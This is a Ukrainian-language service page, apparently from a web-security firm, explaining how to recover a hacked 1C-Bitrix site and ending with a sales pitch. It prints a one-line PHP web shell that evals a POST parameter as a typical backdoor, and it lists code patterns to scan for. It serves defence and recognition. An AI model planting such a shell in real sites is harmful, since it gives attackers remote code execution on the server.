Ви виявили, що сайт редиректить відвідувачів на сторонній ресурс, а пошуковик попереджає про загрозу. Або хостинг повідомив про розсилку спаму з вашого сервера. Це типові ознаки злому 1С-Бітрікс: ін'єкція бекдора в /bitrix/modules/, модифікація інфоблоків або впровадження шкідливого коду в шаблони. Наші інженери з понад 5-річним досвідом відновлюють сайти під ключ — за 1–3 дні повертаємо працездатність та усуваємо причину. Збитки від простою можуть сягати десятків тисяч гривень на день, тому кожне рішення має бути точним.
Відновлення — це не просто видалення шкідливих файлів, а повний цикл: ізоляція, аналіз вектора атаки, очищення, закриття вразливості та моніторинг. Пропуск будь-якого етапу призведе до повторного злому протягом днів. Нижче — чіткий план дій, заснований на понад 200 успішних проектах.
Як ізолювати сайт до аналізу?
Не видаляйте нічого. Спочатку збережіть поточний стан — він потрібен для аналізу. Створіть повний дамп файлів і БД. Потім обмежте доступ: поставте заглушку через nginx (return 503) або .htaccess з Deny from all та Allow from вашої IP. Це запобігає подальшій шкоді та не дає атакуючому закріпитися.
Негайно змініть усі паролі:
- Паролі БД (у
.settings.phpтаdbconn.php) - FTP/SSH-доступи
- Паролі адміністративних облікових записів Бітрікс
- API-ключі сторонніх сервісів, якщо вони зберігалися в конфігах
Перевірте, чи не додано SSH-ключі або cron-завдання. Атакуючі часто додають свій публічний ключ у ~/.ssh/authorized_keys та cron-завдання для періодичного завантаження бекдорів. Запустіть crontab -l для всіх користувачів і перевірте вміст /etc/cron.d/.
Як визначити вектор атаки?
Без розуміння того, як саме проникли на сайт, відновлення безглузде — зламають повторно через ту саму дірку. За даними офіційної документації 1С-Бітрікс з безпеки, 80% зломів відбуваються через застарілі модулі або слабкі паролі. Типовий сценарій: через вразливість у старому модулі завантажується web-shell, потім зловмисник підвищує права до адміністратора. Ми стикалися з цим у понад 200 проектах.
| Вектор | Ознаки | Де шукати сліди |
|---|---|---|
| Застаріла версія ядра з відомою CVE | Версія ядра в /bitrix/modules/main/classes/general/version.php нижче актуальної |
Changelog оновлень безпеки 1С-Бітрікс |
| Вразливий сторонній модуль | Бекдор у директорії модуля | /bitrix/modules/vendor.module/ |
| Компрометація облікових даних | Авторизація з нетипової IP | b_event_log, фільтр за AUDIT_TYPE_ID = 'USER_LOGIN' |
| Завантаження shell через форму | PHP-файл у /upload/ |
Пошук .php файлів у /upload/, /bitrix/tmp/ |
| SQL-ін'єкція | Змінені дані в БД, нові адміністратори | Таблиця b_user — нові записи з ADMIN = Y |
Аналізуйте access-логи веб-сервера за період, що передував виявленню. Шукайте POST-запити до нестандартних URL, звернення до файлів у /upload/ з розширенням .php, запити з характерними патернами (eval, base64, system).
Покроковий алгоритм відновлення
- Ізоляція. Зупиняємо веб-сервер або ставимо заглушку. Робимо повний бекап.
- Аналіз. Вивчаємо логи, визначаємо вектор атаки.
- Очищення. Видаляємо бекдори, відновлюємо ядро, чистимо БД.
- Закриття вразливостей. Оновлюємо ядро та модулі, налаштовуємо права, вмикаємо WAF.
- Тестування. Перевіряємо працездатність та відсутність інцидентів.
- Моніторинг. Встановлюємо системи відстеження змін на 2-4 тижні.
Повне очищення файлової системи
Перевірка ядра. Використовуйте вбудований інструмент /bitrix/admin/site_checker.php → «Перевірка цілісності файлів ядра». Він порівнює контрольні суми з еталонними. Усі модифіковані файли ядра — підозрілі. Бітрікс-ядро не повинно містити ваших правок; якщо вони є — це або злом, або погана практика, яку потрібно усунути.
Пошук бекдорів. Скануйте файлову систему на типові патерни:
- Файли
.phpу директоріях/upload/,/bitrix/tmp/,/bitrix/cache/ - Файли з недавньою датою модифікації в
/bitrix/modules/(якщо ви не оновлювали ядро) - Вміст:
eval(,base64_decode(,gzinflate(,str_rot13(,assert(,preg_replaceз модифікаторомe - Файли з іменами, що мімікрують під системні:
wp-config.php,config.bak.php,.htaccess.php
Штатний інструмент: модуль bitrix.security (Проактивний захист) → «Сканер безпеки» виконує базовий пошук підозрілого коду.
Перевірка БД. Шукайте в таблиці b_user користувачів з адміністративними правами, яких ви не створювали. Перевіряйте b_option на наявність змінених налаштувань модулів (особливо main і security). Перевіряйте b_file на записи, що посилаються на PHP-файли в /upload/.
Приклад типового бекдора
<?php $x=$_POST['cmd']; if(isset($x)){eval($x);} ?> Такі файли часто маскують під системні, наприклад, class.upload.php.
Порівняння варіантів відновлення
| Варіант | Безпека | Час | Складність |
|---|---|---|---|
| Чиста переустановка ядра | Висока — виключає модифіковані файли | 2–4 години | Середня — потребує заміни директорій |
| Відновлення з бекапу | Середня — залежить від дати бекапу | 1–2 години | Низька — але потрібен бекап до злому |
| Відновлення через патчі | Низька — залишаються ризики | 3–6 годин | Висока — потребує точного аналізу |
На практиці чиста переустановка ядра в 2 рази надійніша за відновлення з бекапу, якщо бекап зроблено після злому. Після очищення обов'язково оновіть ядро Бітрікс до останньої стабільної версії. Видаліть або оновіть усі сторонні модулі. Увімкніть модуль bitrix.security: WAF (проактивний фільтр), захист від фреймів, обмеження сесій за IP. Налаштуйте права на файлову систему: директорії 0755, файли 0644, власник — не root. Закрийте доступ до /bitrix/admin/ за IP через nginx/Apache. Забороніть виконання PHP у /upload/: в nginx — location ~* /upload/.*\.php$ { deny all; }.
Що входить у роботу під ключ
- Аналіз access-логів та виявлення вектора атаки
- Видалення шкідливого коду та бекдорів
- Відновлення ядра та компонентів
- Оновлення всіх модулів до останніх версій
- Налаштування WAF та проактивного захисту
- Зміна всіх паролів та ключів
- Тестування працездатності
- Звіт з рекомендаціями щодо подальшого захисту
- Гарантія 6 місяців на відсутність повторного злому через ту саму вразливість
Моніторинг після відновлення
Перші 2–4 тижні — критичний період. Налаштуйте:
- Файловий моніторинг (inotify / AIDE / tripwire) — відстеження змін у
/bitrix/modules/та/bitrix/php_interface/ - Моніторинг access-логів на підозрілі POST-запити
- Перевірка
b_userна появу нових адміністративних записів (через cron + скрипт) - Зовнішній моніторинг HTTP-заголовків — виявлення несанкціонованих редиректів
Повторний злом після неякісного очищення — справа не «якщо», а «коли». Один пропущений бекдор у забутій директорії /bitrix/backup/ перекреслює всю роботу. Зв'яжіться з нами для безкоштовної консультації — ми оцінимо ваш випадок за 1 день і запропонуємо план з гарантією 6 місяців. Замовте аудит безпеки, щоб переконатися, що ваш сайт захищений.